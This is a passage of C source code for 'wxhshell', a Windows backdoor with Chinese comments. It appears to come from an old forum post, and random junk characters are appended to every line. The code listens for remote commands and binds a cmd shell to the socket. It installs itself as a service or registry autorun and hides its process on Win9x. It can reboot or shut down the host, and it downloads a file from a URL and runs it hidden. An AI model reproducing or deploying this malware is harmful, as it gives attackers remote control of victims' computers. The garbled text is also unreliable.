    switch(cmd[0]) { 'EkjySZ]F{  
  <|:$_&(  
  // 帮助 ]Vf2Mn=]"  
  case '?': { x2g=%K=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (HeIO  
    break; Uz7V2r%]  
  } JZD&u6tB   
  // 安装 JWQ.Efe  
  case 'i': { gac/%_-HH7  
    if(Install()) PMiG:bM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (DTkK5/%  
    else ?&.Eg^a"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Tma1 ~Gq  
    break; w{Y:p[}  
    } p2 m`pT  
  // 卸载 jt&rOPL7  
  case 'r': { vLM-v  
    if(Uninstall()) <9?`zo$y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *&W1|Qkg_  
    else 4&E &{<;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 97VS xhr  
    break; `Zz;[<*<  
    } ,j\UZ  
  // 显示 wxhshell 所在路径 Eb\SK"8  
  case 'p': { Hp3T2|uL  
    char svExeFile[MAX_PATH]; b#_u.vP  
    strcpy(svExeFile,"\n\r"); Yo2n [  
      strcat(svExeFile,ExeFile); `,FvYA"  
        send(wsh,svExeFile,strlen(svExeFile),0); X!0m,  
    break; ww~gmz  
    } x% Eu.jj  
  // 重启 B,ZLX/c9  
  case 'b': { 'FGf#l<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &?yVLft  
    if(Boot(REBOOT)) </7?puVR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dn= g!=  
    else {  Z_?r5M;  
    closesocket(wsh); U~{sJwB  
    ExitThread(0); nsV;6^>  
    } sVT\e*4m}  
    break; 4[m4u6z=  
    } ;=?KQq f  
  // 关机 `n~bDG>  
  case 'd': { 'B$qq[l]S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Y}nehxG@  
    if(Boot(SHUTDOWN)) KdkZ-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qi-!iT(fe  
    else { {t<U:*n2  
    closesocket(wsh); F /% 5 r{  
    ExitThread(0); [|\BuUT'  
    } '-m )fWf  
    break; c{s%kVOzg  
    } 3_+$x 4%  
  // 获取shell ?3:xR_VWZu  
  case 's': { 4F>?G{ci  
    CmdShell(wsh); l*C(FPw4  
    closesocket(wsh); X3;|h93.a  
    ExitThread(0); m\xE8D(,  
    break; y%x2  
  } , H_Cn1l  
  // 退出 L|[ 0&u!  
  case 'x': { !`%3?}mv,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l~V^  
    CloseIt(wsh); i@}/KT  
    break; 3mnq=.<(w  
    } 5>'1[e45  
  // 离开 Z6I^HG{:  
  case 'q': { 2qD80W<1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o {bwWk7v6  
    closesocket(wsh); F7zBm53  
    WSACleanup(); @4N@cM0   
    exit(1); @< @\CiM  
    break; n/fMq,<8  
        } Z@I.socA  
  } /HmD/E\  
  } Vg)]F+E  
} 1 >i  
  // 提示信息 3+/{}rv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sKT GZA  
} .?YLD+\A  
  } 71?>~PnbH}  
>}~Pu| _ S  
  return; jJF(*D  
} (Wu_RXfCw_  
 OBCRZ   
// shell模块句柄 'bpx  
int CmdShell(SOCKET sock) ytXXZ`  
{ "=uphBZog  
STARTUPINFO si; BEkxH.   
ZeroMemory(&si,sizeof(si)); mG!Rh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OJUH".o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H *gF>1  
PROCESS_INFORMATION ProcessInfo; b[3K:ot+  
char cmdline[]="cmd"; )kSE5|:pi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8uR4ZE*  
  return 0; p}j$p'D.RI  
} a~_5N&~pi  
S/? KC^JP  
// 自身启动模式 R30{/KK  
int StartFromService(void) MH+t`/E0]  
{ AK/_^?zAs  
typedef struct u~,@Zg87  
{ OYEL`!Q  
  DWORD ExitStatus; at@B>Rb  
  DWORD PebBaseAddress; ;=IGl:  
  DWORD AffinityMask; rkdwGqG  
  DWORD BasePriority; w6M EY"<L  
  ULONG UniqueProcessId; Htseu`>_$  
  ULONG InheritedFromUniqueProcessId; %G& Zm$u=  
}   PROCESS_BASIC_INFORMATION; <j93   
E}aTH  
PROCNTQSIP NtQueryInformationProcess; e 'I13)  
` gIlS^Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wD-(3ZVd4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V/Q~NX N  
6@TGa%:G  
  HANDLE             hProcess; P%8zxU;  
  PROCESS_BASIC_INFORMATION pbi; ^w eU\  
v*+.;60_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A`|OPi)  
  if(NULL == hInst ) return 0; |0vV?f$  
ppt`5F O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ 1rw\Zp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); io_4d2uBh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /jdq7CF  
8-Ik .,}  
  if (!NtQueryInformationProcess) return 0; {c|=L@/  
:^+ aJ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P>/n!1c  
  if(!hProcess) return 0; k\UDZ)TQV  
v:c_q]z#B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2<jbNnj  
z\Vu`Y z  
  CloseHandle(hProcess); t&+f:)n  
-AUdBG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x4jn45]x@  
if(hProcess==NULL) return 0; c0v;r4Jo#j  
}R#YO$J7  
HMODULE hMod; Qo>V N`v  
char procName[255]; H tIl;E  
unsigned long cbNeeded; iV5x-G`  
`<>Emc8Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @G  0k+  
!BD+H/A.{  
  CloseHandle(hProcess); tgn_\-+  
.!T]sX_P  
if(strstr(procName,"services")) return 1; // 以服务启动 IP'gN-#i  
&D, gKT~  
  return 0; // 注册表启动 <^?64  
} N>?R,XM V  
= 8F/]8_  
// 主模块 ?[>+'6  
int StartWxhshell(LPSTR lpCmdLine) CN6@g^)P  
{ {64od0:T  
  SOCKET wsl; G*_$[|H  
BOOL val=TRUE; L M  
  int port=0; =}txcA+  
  struct sockaddr_in door; ,>X +tEgR  
H~1&hF"d  
  if(wscfg.ws_autoins) Install(); ]*a3J45  
kIS_ 6!  
port=atoi(lpCmdLine); _idTsd:\  
hO3>Gl5<  
if(port<=0) port=wscfg.ws_port; HE0UcP1U  
$qk2!  
  WSADATA data; d4h1#MK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *C*n( the  
GaMiu! |,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @Y":DHF5q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); epa)~/sA  
  door.sin_family = AF_INET; aW-'Jg=@H^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ..RCR_DIp  
  door.sin_port = htons(port); CO!K[ q#  
X PnN"Y"y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;`IZ&m$  
closesocket(wsl); J{"<Hgb  
return 1; ;C,D1_20Z  
} ~3bn?'`  
SB R=  
  if(listen(wsl,2) == INVALID_SOCKET) { _Wn5* Pi%Z  
closesocket(wsl); c}K>#{YeB  
return 1; N0EJHS,>e  
} >(Mu9ie*`  
  Wxhshell(wsl); 8w &A89  
  WSACleanup(); [ix45xu7  
5(kRFb'31F  
return 0; b= <xzvy  
vCE1R]^A.]  
} __jFSa`at  
_U<sz{6  
// 以NT服务方式启动 X2PQL"`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \Q[u?/TF  
{ wmu#@Hf/[h  
DWORD   status = 0; {J-kcD!bz`  
  DWORD   specificError = 0xfffffff; Ba-Ftkb  
-x i]~svg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VY }?Nb<&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^3*k6h [(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .<8kDyi m  
  serviceStatus.dwWin32ExitCode     = 0; :G?6Hl)~)  
  serviceStatus.dwServiceSpecificExitCode = 0; |1vi kG8  
  serviceStatus.dwCheckPoint       = 0; NIn#  
  serviceStatus.dwWaitHint       = 0; !Oj]. WQ  
PS ,@ \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qF!oP  
  if (hServiceStatusHandle==0) return; XBi}hT  
{MK.jw9/  
status = GetLastError(); ^VCgc>x;  
  if (status!=NO_ERROR) 5"1kfB3v  
{ bL>J0LWQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rap`[O|l=  
    serviceStatus.dwCheckPoint       = 0; jcNY W_G  
    serviceStatus.dwWaitHint       = 0; $ K>.|\  
    serviceStatus.dwWin32ExitCode     = status; fN4d^0&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9Yg=4>#$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bnS"@^M  
    return; hVPSW# .d  
  } fz H$`X'M  
^^MVd@,i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; We]mm3M3  
  serviceStatus.dwCheckPoint       = 0; 7;H!F!K]  
  serviceStatus.dwWaitHint       = 0; BfmSM9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }F'B!8n  
} 4 \*!]5i  
$6~ J#;  
// 处理NT服务事件,比如:启动、停止 +AVYypql8K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dk$[b9b  
{ ^ ,`;x  
switch(fdwControl) fh rS7f'Zd  
{ /(#;(]  
case SERVICE_CONTROL_STOP: P{qi>FJqe  
  serviceStatus.dwWin32ExitCode = 0; ^_dYE]t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ":t'} Eg=6  
  serviceStatus.dwCheckPoint   = 0; HFV4S]U=  
  serviceStatus.dwWaitHint     = 0; ?2D1gjr  
  { I"/p^@IX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &gdtI  
  } hdZ{8 rP  
  return; o#wDA0T  
case SERVICE_CONTROL_PAUSE: |TCHPKN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [d+f#\ut  
  break; /Yk4%ZJ{  
case SERVICE_CONTROL_CONTINUE: }:NE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |)4Fe/!cJ  
  break; !?t#QD o  
case SERVICE_CONTROL_INTERROGATE: 3N8RZt1.b  
  break; zd1X(e<|{  
}; `?Wy;5-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e !_+TyI  
} k@HV wK'y  
QIZ }7  
// 标准应用程序主函数 Y*!J +A#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y7[D9ZvZ  
{ F' eV%g  
1=fP68n  
// 获取操作系统版本 G[34:J  
OsIsNt=GetOsVer(); Q a(>$.h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ruMS5OqM  
crx8+  
  // 从命令行安装 <[7 bUB  
  if(strpbrk(lpCmdLine,"iI")) Install();  \*5`@>_  
I$Z8]&m  
  // 下载执行文件 ,{{e'S9cy  
if(wscfg.ws_downexe) { +&t`"lRl&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /%W&zd=%#  
  WinExec(wscfg.ws_filenam,SW_HIDE); x8L$T (^  
} \>}G|yL  
rnB-e?>  
if(!OsIsNt) { .Y;ljQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 g\%vkK&I  
HideProc(); `/WX!4eR,  
StartWxhshell(lpCmdLine); Yv="oG!xL  
} !3]}3jZ.  
else P2lDi!q|  
  if(StartFromService()) ) `u)#@x  
  // 以服务方式启动 ^zdZ"\x  
  StartServiceCtrlDispatcher(DispatchTable); lJe=z  
else #=>t6B4af  
  // 普通方式启动 \\\%pBT7]\  
  StartWxhshell(lpCmdLine); ?V3kIb  
K0681_bp  
return 0; :C%cnU;N  
}
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只看该作者 1 发表于: 2006-10-10
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